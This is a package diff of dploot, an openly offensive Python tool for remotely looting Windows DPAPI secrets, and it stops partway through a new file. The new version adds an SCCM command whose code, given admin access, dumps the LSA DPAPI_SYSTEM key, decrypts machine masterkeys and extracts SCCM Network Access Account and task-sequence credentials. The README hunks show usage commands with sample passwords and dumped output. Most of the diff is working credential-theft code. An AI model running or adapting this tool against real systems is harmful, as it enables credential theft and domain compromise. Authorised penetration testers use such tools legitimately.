dploot 2.2.4__tar.gz → 2.6.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dploot-2.2.4 → dploot-2.6.0}/PKG-INFO +30 -5
- {dploot-2.2.4 → dploot-2.6.0}/README.md +29 -4
- dploot-2.6.0/dploot/action/sccm.py +128 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/entry.py +3 -1
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/browser.py +17 -16
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/certificates.py +9 -8
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/credentials.py +9 -8
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/masterkeys.py +13 -12
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/rdg.py +15 -14
- dploot-2.6.0/dploot/triage/sccm.py +203 -0
- {dploot-2.2.4 → dploot-2.6.0}/pyproject.toml +1 -1
- {dploot-2.2.4 → dploot-2.6.0}/LICENSE +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/__init__.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/__init__.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/backupkey.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/browser.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/certificates.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/credentials.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinecertificates.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinecredentials.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinemasterkeys.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinetriage.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/machinevaults.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/masterkeys.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/rdg.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/triage.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/vaults.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/action/wifi.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/__init__.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/crypto.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/dpapi.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/smb.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/target.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/utils.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/lib/wmi.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/__init__.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/backupkey.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/vaults.py +0 -0
- {dploot-2.2.4 → dploot-2.6.0}/dploot/triage/wifi.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: dploot
|
|
3
|
-
Version: 2.
|
|
3
|
+
Version: 2.6.0
|
|
4
4
|
Summary: DPAPI looting remotely in Python
|
|
5
5
|
Home-page: https://github.com/zblurx/dploot
|
|
6
6
|
License: MIT
|
|
@@ -58,6 +58,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
58
58
|
- [machinetriage](#machinetriage)
|
|
59
59
|
- [Misc](#misc)
|
|
60
60
|
- [wifi](#wifi)
|
|
61
|
+
- [sccm](#sccm)
|
|
61
62
|
- [backupkey](#backupkey)
|
|
62
63
|
- [Credits](#credits)
|
|
63
64
|
- [TODO](#TODO)
|
|
@@ -570,7 +571,7 @@ Unknown : Password!123
|
|
|
570
571
|
The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
|
|
571
572
|
|
|
572
573
|
```text
|
|
573
|
-
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
574
|
+
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
574
575
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
575
576
|
|
|
576
577
|
[*] Triage SYSTEM masterkeys
|
|
@@ -589,7 +590,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
|
|
|
589
590
|
|
|
590
591
|
### machinecertificates
|
|
591
592
|
|
|
592
|
-
The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot
|
|
593
|
+
The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
|
|
593
594
|
|
|
594
595
|
It will also dump machine CAPI certificates blob with RemoteRegistry.
|
|
595
596
|
|
|
@@ -639,7 +640,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
|
|
|
639
640
|
|
|
640
641
|
#### wifi
|
|
641
642
|
|
|
642
|
-
The **wifi** command will get any wifi xml configuration file
|
|
643
|
+
The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
|
|
643
644
|
|
|
644
645
|
```text
|
|
645
646
|
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
@@ -691,9 +692,33 @@ EapHostConfig:
|
|
|
691
692
|
[snip]
|
|
692
693
|
```
|
|
693
694
|
|
|
695
|
+
#### sccm
|
|
696
|
+
|
|
697
|
+
The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
|
|
698
|
+
|
|
699
|
+
```text
|
|
700
|
+
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
701
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
702
|
+
|
|
703
|
+
[*] Triage SYSTEM masterkeys
|
|
704
|
+
|
|
705
|
+
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
|
|
706
|
+
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
|
|
707
|
+
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
|
|
708
|
+
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
|
|
709
|
+
|
|
710
|
+
[*] Triage SCCM Secrets
|
|
711
|
+
|
|
712
|
+
[NAA Account]
|
|
713
|
+
Username: NAAAccount
|
|
714
|
+
Password: Password!123
|
|
715
|
+
|
|
716
|
+
[snip]
|
|
717
|
+
```
|
|
718
|
+
|
|
694
719
|
#### backupkey
|
|
695
720
|
|
|
696
|
-
The **backupkey** command will retrieve the
|
|
721
|
+
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
|
|
697
722
|
|
|
698
723
|
By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
|
|
699
724
|
|
|
@@ -32,6 +32,7 @@ If you don't know what is DPAPI, [check out this post](https://posts.specterops.
|
|
|
32
32
|
- [machinetriage](#machinetriage)
|
|
33
33
|
- [Misc](#misc)
|
|
34
34
|
- [wifi](#wifi)
|
|
35
|
+
- [sccm](#sccm)
|
|
35
36
|
- [backupkey](#backupkey)
|
|
36
37
|
- [Credits](#credits)
|
|
37
38
|
- [TODO](#TODO)
|
|
@@ -544,7 +545,7 @@ Unknown : Password!123
|
|
|
544
545
|
The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.
|
|
545
546
|
|
|
546
547
|
```text
|
|
547
|
-
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
548
|
+
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
548
549
|
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
549
550
|
|
|
550
551
|
[*] Triage SYSTEM masterkeys
|
|
@@ -563,7 +564,7 @@ Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
|
|
|
563
564
|
|
|
564
565
|
### machinecertificates
|
|
565
566
|
|
|
566
|
-
The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot
|
|
567
|
+
The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
|
|
567
568
|
|
|
568
569
|
It will also dump machine CAPI certificates blob with RemoteRegistry.
|
|
569
570
|
|
|
@@ -613,7 +614,7 @@ The machinetriage command runs the [machinecredentials](#machinecredentials), [m
|
|
|
613
614
|
|
|
614
615
|
#### wifi
|
|
615
616
|
|
|
616
|
-
The **wifi** command will get any wifi xml configuration file
|
|
617
|
+
The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.
|
|
617
618
|
|
|
618
619
|
```text
|
|
619
620
|
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' 192.168.57.5
|
|
@@ -665,9 +666,33 @@ EapHostConfig:
|
|
|
665
666
|
[snip]
|
|
666
667
|
```
|
|
667
668
|
|
|
669
|
+
#### sccm
|
|
670
|
+
|
|
671
|
+
The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.
|
|
672
|
+
|
|
673
|
+
```text
|
|
674
|
+
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' 192.168.56.14
|
|
675
|
+
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
|
|
676
|
+
|
|
677
|
+
[*] Triage SYSTEM masterkeys
|
|
678
|
+
|
|
679
|
+
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
|
|
680
|
+
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
|
|
681
|
+
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
|
|
682
|
+
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
|
|
683
|
+
|
|
684
|
+
[*] Triage SCCM Secrets
|
|
685
|
+
|
|
686
|
+
[NAA Account]
|
|
687
|
+
Username: NAAAccount
|
|
688
|
+
Password: Password!123
|
|
689
|
+
|
|
690
|
+
[snip]
|
|
691
|
+
```
|
|
692
|
+
|
|
668
693
|
#### backupkey
|
|
669
694
|
|
|
670
|
-
The **backupkey** command will retrieve the
|
|
695
|
+
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.
|
|
671
696
|
|
|
672
697
|
By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.
|
|
673
698
|
|
|
@@ -0,0 +1,128 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import os
|
|
4
|
+
import sys
|
|
5
|
+
from typing import Callable, Tuple
|
|
6
|
+
from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
|
|
7
|
+
|
|
8
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
9
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
10
|
+
from dploot.lib.utils import handle_outputdir_option, parse_file_as_list
|
|
11
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
12
|
+
from dploot.triage.sccm import SCCMTriage
|
|
13
|
+
|
|
14
|
+
NAME = 'sccm'
|
|
15
|
+
|
|
16
|
+
class SCCMAction:
|
|
17
|
+
|
|
18
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
19
|
+
self.options = options
|
|
20
|
+
self.target = Target.from_options(options)
|
|
21
|
+
|
|
22
|
+
self.conn = None
|
|
23
|
+
self._is_admin = None
|
|
24
|
+
self._users = None
|
|
25
|
+
self.outputdir = None
|
|
26
|
+
self.masterkeys = None
|
|
27
|
+
self.pvkbytes = None
|
|
28
|
+
|
|
29
|
+
self.outputdir = handle_outputdir_option(dir= self.options.export_sccm)
|
|
30
|
+
|
|
31
|
+
if self.options.mkfile is not None:
|
|
32
|
+
try:
|
|
33
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
34
|
+
except Exception as e:
|
|
35
|
+
logging.error(str(e))
|
|
36
|
+
sys.exit(1)
|
|
37
|
+
|
|
38
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target)
|
|
39
|
+
|
|
40
|
+
def connect(self) -> None:
|
|
41
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
42
|
+
if self.conn.connect() is None:
|
|
43
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
44
|
+
sys.exit(1)
|
|
45
|
+
|
|
46
|
+
def run(self) -> None:
|
|
47
|
+
self.connect()
|
|
48
|
+
logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else "")))
|
|
49
|
+
if self.is_admin:
|
|
50
|
+
if self.masterkeys is None:
|
|
51
|
+
triage = MasterkeysTriage(target=self.target, conn=self.conn)
|
|
52
|
+
logging.info("Triage SYSTEM masterkeys\n")
|
|
53
|
+
self.masterkeys = triage.triage_system_masterkeys()
|
|
54
|
+
if not self.options.quiet:
|
|
55
|
+
for masterkey in self.masterkeys:
|
|
56
|
+
masterkey.dump()
|
|
57
|
+
print()
|
|
58
|
+
|
|
59
|
+
triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys, use_wmi=self.options.wmi)
|
|
60
|
+
logging.info('Triage SCCM Secrets\n')
|
|
61
|
+
sccmcreds, sccmtasks, sccmcollections = triage.triage_sccm()
|
|
62
|
+
for sccm_cred in sccmcreds:
|
|
63
|
+
if self.options.quiet:
|
|
64
|
+
sccm_cred.dump_quiet()
|
|
65
|
+
else:
|
|
66
|
+
sccm_cred.dump()
|
|
67
|
+
for sccm_task in sccmtasks:
|
|
68
|
+
if self.options.quiet:
|
|
69
|
+
sccm_task.dump_quiet()
|
|
70
|
+
else:
|
|
71
|
+
sccm_task.dump()
|
|
72
|
+
for sccm_collection in sccmcollections:
|
|
73
|
+
if self.options.quiet:
|
|
74
|
+
sccm_collection.dump_quiet()
|
|
75
|
+
else:
|
|
76
|
+
sccm_collection.dump()
|
|
77
|
+
else:
|
|
78
|
+
logging.info("Not an admin, exiting...")
|
|
79
|
+
|
|
80
|
+
@property
|
|
81
|
+
def is_admin(self) -> bool:
|
|
82
|
+
if self._is_admin is not None:
|
|
83
|
+
return self._is_admin
|
|
84
|
+
|
|
85
|
+
self._is_admin = self.conn.is_admin()
|
|
86
|
+
return self._is_admin
|
|
87
|
+
|
|
88
|
+
def entry(options: argparse.Namespace) -> None:
|
|
89
|
+
a = SCCMAction(options)
|
|
90
|
+
a.run()
|
|
91
|
+
|
|
92
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
93
|
+
|
|
94
|
+
subparser = subparsers.add_parser(NAME, help="Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from remote target")
|
|
95
|
+
|
|
96
|
+
group = subparser.add_argument_group("sccm options")
|
|
97
|
+
|
|
98
|
+
group.add_argument(
|
|
99
|
+
"-mkfile",
|
|
100
|
+
action="store",
|
|
101
|
+
help=(
|
|
102
|
+
"File containing {GUID}:SHA1 masterkeys mappings"
|
|
103
|
+
),
|
|
104
|
+
)
|
|
105
|
+
|
|
106
|
+
add_masterkeys_argument_group(group)
|
|
107
|
+
|
|
108
|
+
group.add_argument(
|
|
109
|
+
"-export-sccm",
|
|
110
|
+
action="store",
|
|
111
|
+
metavar="DIR_SCCM",
|
|
112
|
+
help=(
|
|
113
|
+
"Dump looted SCCM secrets to specified directory"
|
|
114
|
+
)
|
|
115
|
+
)
|
|
116
|
+
|
|
117
|
+
group.add_argument(
|
|
118
|
+
"-wmi",
|
|
119
|
+
action="store_true",
|
|
120
|
+
help=(
|
|
121
|
+
"Dump SCCM secrets from WMI requests results"
|
|
122
|
+
)
|
|
123
|
+
)
|
|
124
|
+
|
|
125
|
+
add_target_argument_group(subparser)
|
|
126
|
+
|
|
127
|
+
return NAME, entry
|
|
128
|
+
|
|
@@ -12,6 +12,7 @@ from dploot.action import (
|
|
|
12
12
|
vaults,
|
|
13
13
|
backupkey,
|
|
14
14
|
rdg,
|
|
15
|
+
sccm,
|
|
15
16
|
triage,
|
|
16
17
|
machinemasterkeys,
|
|
17
18
|
machinecredentials,
|
|
@@ -30,6 +31,7 @@ ENTRY_PARSERS = [
|
|
|
30
31
|
vaults,
|
|
31
32
|
backupkey,
|
|
32
33
|
rdg,
|
|
34
|
+
sccm,
|
|
33
35
|
triage,
|
|
34
36
|
machinemasterkeys,
|
|
35
37
|
machinecredentials,
|
|
@@ -81,4 +83,4 @@ def main() -> None:
|
|
|
81
83
|
|
|
82
84
|
|
|
83
85
|
if __name__ == "__main__":
|
|
84
|
-
main()
|
|
86
|
+
main()
|
|
@@ -13,14 +13,15 @@ from dploot.lib.target import Target
|
|
|
13
13
|
from dploot.lib.utils import datetime_to_time
|
|
14
14
|
from dploot.lib.wmi import DPLootWmiExec
|
|
15
15
|
from dploot.triage.masterkeys import Masterkey
|
|
16
|
+
from dataclasses import dataclass
|
|
16
17
|
|
|
18
|
+
@dataclass
|
|
17
19
|
class LoginData:
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
self.password = password
|
|
20
|
+
winuser: str
|
|
21
|
+
browser: str
|
|
22
|
+
url: str
|
|
23
|
+
username: str
|
|
24
|
+
password: str
|
|
24
25
|
|
|
25
26
|
def dump(self) -> None:
|
|
26
27
|
print('[%s LOGIN DATA]' % self.browser.upper())
|
|
@@ -33,17 +34,17 @@ class LoginData:
|
|
|
33
34
|
def dump_quiet(self) -> None:
|
|
34
35
|
print("[%s] %s - %s:%s" % (self.browser.upper(), self.url, self.username, self.password))
|
|
35
36
|
|
|
37
|
+
@dataclass
|
|
36
38
|
class Cookie:
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
self.last_access_utc = last_access_utc
|
|
39
|
+
winuser: str
|
|
40
|
+
browser:str
|
|
41
|
+
host:str
|
|
42
|
+
path: str
|
|
43
|
+
cookie_name:str
|
|
44
|
+
cookie_value:str
|
|
45
|
+
creation_utc:str
|
|
46
|
+
expires_utc:str
|
|
47
|
+
last_access_utc:str
|
|
47
48
|
|
|
48
49
|
def dump(self) -> None:
|
|
49
50
|
print('[%s COOKIE DATA]' % self.browser.upper())
|
|
@@ -2,6 +2,7 @@ import hashlib
|
|
|
2
2
|
import logging
|
|
3
3
|
import ntpath
|
|
4
4
|
from typing import Dict, List, Tuple
|
|
5
|
+
from dataclasses import dataclass
|
|
5
6
|
|
|
6
7
|
from impacket.dcerpc.v5 import rrp
|
|
7
8
|
|
|
@@ -23,15 +24,15 @@ from dploot.triage.masterkeys import Masterkey
|
|
|
23
24
|
|
|
24
25
|
PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
|
|
25
26
|
|
|
27
|
+
@dataclass
|
|
26
28
|
class Certificate:
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
self.clientauth = clientauth
|
|
29
|
+
winuser: str
|
|
30
|
+
cert: x509.Certificate
|
|
31
|
+
pkey: PrivateKeyTypes
|
|
32
|
+
pfx: bytes
|
|
33
|
+
username: str
|
|
34
|
+
filename: str
|
|
35
|
+
clientauth: bool
|
|
35
36
|
|
|
36
37
|
def dump(self) -> None:
|
|
37
38
|
print('Issuer:\t\t\t%s' % str(self.cert.issuer.rfc4514_string()))
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import logging
|
|
2
2
|
import ntpath
|
|
3
3
|
from typing import Any, List
|
|
4
|
+
from dataclasses import dataclass
|
|
4
5
|
|
|
5
6
|
from impacket.dpapi import CREDENTIAL_BLOB
|
|
6
7
|
|
|
@@ -10,15 +11,15 @@ from dploot.lib.target import Target
|
|
|
10
11
|
from dploot.lib.utils import is_credfile
|
|
11
12
|
from dploot.triage.masterkeys import Masterkey
|
|
12
13
|
|
|
14
|
+
@dataclass
|
|
13
15
|
class Credential:
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
self.password = password
|
|
16
|
+
winuser: str
|
|
17
|
+
credblob: "CREDENTIAL_BLOB | Any"
|
|
18
|
+
target: str
|
|
19
|
+
description: str
|
|
20
|
+
unknown: str
|
|
21
|
+
username: str
|
|
22
|
+
password: str
|
|
22
23
|
|
|
23
24
|
def dump(self) -> None:
|
|
24
25
|
self.credblob.dump()
|
|
@@ -41,7 +41,7 @@ class MasterkeysTriage:
|
|
|
41
41
|
system_masterkeys_generic_path = 'Windows\\System32\\Microsoft\\Protect'
|
|
42
42
|
share = 'C$'
|
|
43
43
|
|
|
44
|
-
def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None) -> None:
|
|
44
|
+
def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None, dpapiSystem: Dict[str,str] = {}) -> None:
|
|
45
45
|
self.target = target
|
|
46
46
|
self.conn = conn
|
|
47
47
|
self.pvkbytes = pvkbytes
|
|
@@ -50,20 +50,21 @@ class MasterkeysTriage:
|
|
|
50
50
|
|
|
51
51
|
self._users = None
|
|
52
52
|
self.looted_files = dict()
|
|
53
|
-
self.dpapiSystem =
|
|
53
|
+
self.dpapiSystem = dpapiSystem
|
|
54
|
+
# should be {"MachineKey":"key","Userkey":"key"}
|
|
54
55
|
|
|
55
56
|
def triage_system_masterkeys(self) -> List[Masterkey]:
|
|
56
57
|
masterkeys = list()
|
|
57
58
|
logging.getLogger("impacket").disabled = True
|
|
58
|
-
self.
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
59
|
+
if len(self.dpapiSystem) == 0:
|
|
60
|
+
self.conn.enable_remoteops()
|
|
61
|
+
if self.conn.remote_ops and self.conn.bootkey:
|
|
62
|
+
|
|
63
|
+
SECURITYFileName = self.conn.remote_ops.saveSECURITY()
|
|
64
|
+
LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True,
|
|
65
|
+
perSecretCallback=self.getDPAPI_SYSTEM)
|
|
66
|
+
LSA.dumpSecrets()
|
|
67
|
+
LSA.finish()
|
|
67
68
|
system_protect_dir = self.conn.remote_list_dir(self.share, path=self.system_masterkeys_generic_path)
|
|
68
69
|
for d in system_protect_dir:
|
|
69
70
|
if d not in self.false_positive and d.is_directory()>0 and d.get_longname()[:2] == 'S-':# could be a better way to deal with sid
|
|
@@ -150,7 +151,7 @@ class MasterkeysTriage:
|
|
|
150
151
|
masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user=user))
|
|
151
152
|
return masterkeys
|
|
152
153
|
|
|
153
|
-
def getDPAPI_SYSTEM(self,
|
|
154
|
+
def getDPAPI_SYSTEM(self,_, secret) -> None:
|
|
154
155
|
if secret.startswith("dpapi_machinekey:"):
|
|
155
156
|
machineKey, userKey = secret.split('\n')
|
|
156
157
|
machineKey = machineKey.split(':')[1]
|
|
@@ -3,19 +3,20 @@ import ntpath
|
|
|
3
3
|
from typing import Any, List, Tuple
|
|
4
4
|
import xml.etree.ElementTree as ET
|
|
5
5
|
import base64
|
|
6
|
+
from dataclasses import dataclass
|
|
6
7
|
|
|
7
8
|
from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
|
|
8
9
|
from dploot.lib.smb import DPLootSMBConnection
|
|
9
10
|
from dploot.lib.target import Target
|
|
10
11
|
from dploot.triage.masterkeys import Masterkey
|
|
11
12
|
|
|
13
|
+
@dataclass
|
|
12
14
|
class RDGCred:
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
self.password = password
|
|
15
|
+
type: str
|
|
16
|
+
profile_name: str
|
|
17
|
+
username: str
|
|
18
|
+
password: str
|
|
19
|
+
server_name: str = None
|
|
19
20
|
|
|
20
21
|
def dump(self) -> None:
|
|
21
22
|
if self.type == 'cred':
|
|
@@ -44,17 +45,17 @@ class RDGCred:
|
|
|
44
45
|
elif self.type == 'server':
|
|
45
46
|
print("[RDG] %s - %s - %s:%s" % (self.profile_name, self.server_name, self.username, self.password.decode('latin-1')))
|
|
46
47
|
|
|
48
|
+
@dataclass
|
|
47
49
|
class RDCMANFile:
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
self.rdg_creds = rdg_creds
|
|
50
|
+
winuser: str
|
|
51
|
+
filepath: str
|
|
52
|
+
rdg_creds: List[RDGCred]
|
|
52
53
|
|
|
54
|
+
@dataclass
|
|
53
55
|
class RDGFile:
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
self.rdg_creds = rdg_creds
|
|
56
|
+
winuser: str
|
|
57
|
+
filepath: str
|
|
58
|
+
rdg_creds: List[RDGCred]
|
|
58
59
|
|
|
59
60
|
class RDGTriage:
|
|
60
61
|
|
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
import logging
|
|
2
|
+
import ntpath
|
|
3
|
+
from typing import Any, List, Tuple
|
|
4
|
+
import xml.etree.ElementTree as ET
|
|
5
|
+
import base64
|
|
6
|
+
import re
|
|
7
|
+
from binascii import unhexlify
|
|
8
|
+
|
|
9
|
+
from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target
|
|
12
|
+
from dploot.triage.masterkeys import Masterkey
|
|
13
|
+
from impacket.dcerpc.v5.dcom import wmi
|
|
14
|
+
from impacket.dcerpc.v5.dtypes import NULL
|
|
15
|
+
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
16
|
+
|
|
17
|
+
class SCCMCred:
|
|
18
|
+
def __init__(self, username, password) -> None:
|
|
19
|
+
self.username = username
|
|
20
|
+
self.password = password
|
|
21
|
+
|
|
22
|
+
def dump(self) -> None:
|
|
23
|
+
print('[NAA Account]')
|
|
24
|
+
print('\tUsername:\t%s' % self.username.decode('latin-1'))
|
|
25
|
+
print('\tPassword:\t%s' % self.password.decode('latin-1'))
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
def dump_quiet(self) -> None:
|
|
29
|
+
print("[NAA] %s:%s" % (self.username.decode('latin-1'), self.password.decode('latin-1')))
|
|
30
|
+
|
|
31
|
+
class SCCMSecret:
|
|
32
|
+
def __init__(self, type, secret) -> None:
|
|
33
|
+
self.type = type
|
|
34
|
+
self.secret = secret
|
|
35
|
+
|
|
36
|
+
def dump(self) -> None:
|
|
37
|
+
print('[Task sequences secret]')
|
|
38
|
+
